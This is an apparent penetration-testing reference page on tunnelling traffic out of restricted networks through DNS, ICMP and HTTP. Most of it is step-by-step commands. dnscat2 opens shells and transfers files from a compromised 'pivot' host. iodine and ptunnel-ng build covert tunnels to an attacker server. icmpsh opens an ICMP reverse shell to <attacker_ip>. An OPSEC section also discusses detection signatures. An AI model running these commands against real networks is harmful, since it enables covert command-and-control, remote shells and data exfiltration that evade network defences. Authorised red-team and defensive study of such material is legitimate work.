DNS and Protocol-Specific Tunnels
#Overview
When only DNS, ICMP, or specific protocols are allowed outbound, protocol-specific tunnels exploit the permissive protocol to encapsulate arbitrary data. DNS tunnels are the most common because DNS is almost never blocked at the network edge.
#Protocol Selection Decision Tree
Only DNS egress available?
YES --> dnscat2 or iodine
| |-- Need C2 features? --> dnscat2 (shell, file transfer)
| |-- Need speed? --> iodine (IP-over-DNS, faster)
|
NO --> Only ICMP egress?
YES --> ptunnel-ng or icmpsh
| |-- Need reliable tunnel? --> ptunnel-ng (TCP over ICMP)
| |-- Need simple shell? --> icmpsh (ICMP reverse shell)
|
NO --> Only HTTP egress?
YES --> See [Web Tunnels](web-tunnels.md) (Neo-reGeorg, Earthworm)
TEXT
#dnscat2 (Extended)
#Full Setup with Domain
# Step 1: Configure DNS
# Create an NS record pointing to your server:
# dnscat2.example.com NS <your_server_ip>
# Step 2: Start dnscat2 server
ruby dnscat2.rb dnscat2.example.com --secret=<secret_key>
# Step 3: Start dnscat2 client (on pivot)
./dnscat2 dnscat2.example.com --secret=<secret_key>
# Step 4: Use dnscat2 sessions
# In the server console:
window -l # List sessions
window -i 1 # Interact with session 1
shell # Open a shell on the client
download <file> # Download file from client
upload <file> # Upload file to client
exec <command> # Execute command on client
BASH
#DNS Tunnel Performance Tuning
# Increase DNS query length (more data per request)
ruby dnscat2.rb dnscat2.example.com --max-16-bit-length=500
# Use CNAME records (larger payload than A records)
./dnscat2 dnscat2.example.com -e cn
# Use TXT records (even larger payloads)
ruby dnscat2.rb dnscat2.example.com --dns-type=TXT
BASH
#iodine (IP-over-DNS)
iodine provides a full IP tunnel over DNS, giving you a virtual network interface. It's faster than dnscat2 for data transfer because it uses a more efficient encoding.
# Install
apt install iodine
# Step 1: Start iodine server (attacker)
sudo iodined -f -c -P <password> 10.0.0.1 dnscat2.example.com
# 10.0.0.1 = IP for the server end of the tunnel
# Listens on DNS port 53 for the domain dnscat2.example.com
# Step 2: Start iodine client (pivot)
sudo iodine -f -P <password> <dns_server_ip> dnscat2.example.com
# Creates a tunnel interface (dns0) with IP 10.0.0.2
# Step 3: Verify the tunnel
ping 10.0.0.1
# The pivot can now reach 10.0.0.1 through DNS
# Step 4: Route traffic through the tunnel
# On the attacker, enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -o eth0 -j MASQUERADE
# On the pivot, add route through tunnel
ip route add 172.16.0.0/24 via 10.0.0.1 dev dns0
BASH
#iodine vs dnscat2
| Feature | iodine | dnscat2 |
|---|---|---|
| Type | IP tunnel (network interface) | C2 channel (shell, file transfer) |
| Speed | Faster (IP-over-DNS) | Slower (C2 overhead) |
| Protocol support | Any (full IP tunnel) | TCP only (port forwarding) |
| Setup complexity | Higher (DNS server config) | Lower (standalone) |
| Use case | Need full network access | Need C2 + shell access |
#ICMP Tunnels
#ptunnel-ng (TCP over ICMP)
# Install
apt install ptunnel-ng
# Server (attacker) - listen for ICMP tunnel
sudo ptunnel-ng --receive --listen <attacker_ip>
# Client (pivot) - forward TCP through ICMP
sudo ptunnel-ng --send --proxy <attacker_ip> --dest 127.0.0.1:22
# This creates an ICMP tunnel that carries SSH
# Connect through the tunnel:
ssh -p 22 user@127.0.0.1
BASH
#icmpsh (ICMP Reverse Shell)
# Install
git clone https://github.com/inquisb/icmpsh.git
cd icmpsh
# Server (attacker) - listen for ICMP
python icmpsh_m.py <attacker_ip> <pivot_ip>
# Client (pivot) - ICMP reverse shell
icmpsh.exe -i <pivot_ip> -t <attacker_ip>
# Or on Linux:
./icmpsh -i <pivot_ip> -t <attacker_ip>
BASH
#HTTP Tunnel (httptunnel)
# Install
apt install httptunnel
# Server (attacker) - listen on port 80, forward to localhost:22
hts -F 127.0.0.1:22 80
# Client (pivot) - connect to attacker's HTTP tunnel
htc -F 2222 <attacker_ip>:80
# Now SSH through the HTTP tunnel
ssh -p 2222 user@127.0.0.1
BASH
#Common Pitfalls
- DNS tunnel speed: DNS tunnels are inherently slow (1-50 KB/s). Avoid large file transfers.
- DNS server load: Your authoritative DNS server handles all tunnel traffic. Don't overload it.
- ICMP rate limiting: Many networks rate-limit ICMP. Expect variable performance.
- iodine MTU: The DNS tunnel MTU is low (~500 bytes). Large packets fragment.
- Root required: Both iodine and ptunnel-ng require root on the client to create TUN/TAP interfaces.
#OPSEC Considerations
- DNS tunnels generate unusually high DNS query volumes — detectable by DNS monitoring
- iodine creates a visible TUN interface (
dns0) thatip addrreveals - ICMP tunnels with ptunnel-ng create ICMP packets with TCP payload — detectable by payload analysis
- dnscat2 uses a distinctive DNS query pattern that some DNS firewalls detect
- Always use encrypted tunnels (dnscat2 with --secret, iodine with -P password)
#Cross-References
- Web Tunnels — When HTTP egress is available (faster than DNS)
- Cloud Tunnels — Alternative when cloud egress is available
- 13 - Wireless Pentesting — DNS/ICMP tunneling for captive portal bypass